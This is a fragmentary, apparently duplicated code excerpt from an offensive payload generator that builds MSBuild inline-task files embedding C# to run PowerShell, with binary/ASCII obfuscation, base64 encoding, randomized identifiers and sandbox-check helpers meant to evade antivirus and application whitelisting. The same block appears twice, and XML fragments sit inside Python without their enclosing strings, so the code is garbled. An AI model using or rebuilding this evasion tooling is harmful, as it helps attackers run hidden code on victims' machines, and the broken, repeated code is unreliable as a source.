# Path: Tools/Bypass/bypass_common/bypass_helpers.py
# def deflate(string_val):
# def compileToTemp(language, payloadSource):
# def expiring_payload_variables():
# def format_long(title, message, frontTab=True, spacing=16):
# def inflate(b64string):
# def LHOST():
# def obfuscateNum(N, mod):
# def print_dict_message(commands, show_title=True):
# def randomString(length=-1):
# def title_screen():
# 
# Path: Tools/Bypass/bypass_common/gamemaker.py
# def senecas_games(bypass_payload):
# 
# Path: Tools/Bypass/bypass_common/invoke_obfuscation.py
# def asciiEncode(scriptString):
# def binaryEncode(scriptString):


import base64
from Tools.Bypass.bypass_common import bypass_helpers
from Tools.Bypass.bypass_common import gamemaker
from Tools.Bypass.bypass_common import invoke_obfuscation
                TaskFactory="CodeTaskFactory"
                AssemblyFile="C:\Windows\Microsoft.Net\Framework\\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
                <Task>
                    <Reference Include="System.Management.Automation" />
                <Code Type="Class" Language="cs">
                  <![CDATA[
            """.format(targetName, className, "None")

            if self.required_options["OBFUSCATION"][0].lower() != "x":
                if self.required_options["OBFUSCATION"][0].lower() == "binary":
                    the_script = invoke_obfuscation.binaryEncode(the_script)
                elif self.required_options["OBFUSCATION"][0].lower() == "ascii":
                    the_script = invoke_obfuscation.asciiEncode(the_script)


        #required syntax at the beginning of any/all payloads
        payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Threading; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Text; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;\n"
        payload_code += "public class %s : Task, ITask {\n" % (className)
        payload_code += "\npublic string {0} = \"$(FunctionName)\";".format(FunctionName)

        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2

        encodedScript = bypass_helpers.randomString()
        encodedScriptContents = base64.b64encode(bytes(the_script, 'latin-1')).decode('ascii')
        powershellCmd = bypass_helpers.randomString()
        data = bypass_helpers.randomString()
        command = bypass_helpers.randomString()
        RunPSCommand = bypass_helpers.randomString()
        cmd = bypass_helpers.randomString()

# Path: Tools/Bypass/bypass_common/bypass_helpers.py
# def deflate(string_val):
# def compileToTemp(language, payloadSource):
# def expiring_payload_variables():
# def format_long(title, message, frontTab=True, spacing=16):
# def inflate(b64string):
# def LHOST():
# def obfuscateNum(N, mod):
# def print_dict_message(commands, show_title=True):
# def randomString(length=-1):
# def title_screen():
# 
# Path: Tools/Bypass/bypass_common/gamemaker.py
# def senecas_games(bypass_payload):
# 
# Path: Tools/Bypass/bypass_common/invoke_obfuscation.py
# def asciiEncode(scriptString):
# def binaryEncode(scriptString):


# Path: Tools/Bypass/payloads/msbuild/powershell/script.py
import base64
from Tools.Bypass.bypass_common import bypass_helpers
from Tools.Bypass.bypass_common import gamemaker
from Tools.Bypass.bypass_common import invoke_obfuscation

                TaskFactory="CodeTaskFactory"
                AssemblyFile="C:\Windows\Microsoft.Net\Framework\\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
                <Task>
                    <Reference Include="System.Management.Automation" />
                <Code Type="Class" Language="cs">
                  <![CDATA[
            """.format(targetName, className, "None")

            if self.required_options["OBFUSCATION"][0].lower() != "x":
                if self.required_options["OBFUSCATION"][0].lower() == "binary":
                    the_script = invoke_obfuscation.binaryEncode(the_script)
                elif self.required_options["OBFUSCATION"][0].lower() == "ascii":
                    the_script = invoke_obfuscation.asciiEncode(the_script)


        #required syntax at the beginning of any/all payloads
        payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Threading; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Text; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;\n"
        payload_code += "public class %s : Task, ITask {\n" % (className)
        payload_code += "\npublic string {0} = \"$(FunctionName)\";".format(FunctionName)

        payload_code2, num_tabs_required = gamemaker.senecas_games(self)
        payload_code = payload_code + payload_code2

        encodedScript = bypass_helpers.randomString()
        encodedScriptContents = base64.b64encode(bytes(the_script, 'latin-1')).decode('ascii')
        powershellCmd = bypass_helpers.randomString()
        data = bypass_helpers.randomString()
        command = bypass_helpers.randomString()
        RunPSCommand = bypass_helpers.randomString()
        cmd = bypass_helpers.randomString()

        runspace = bypass_helpers.randomString()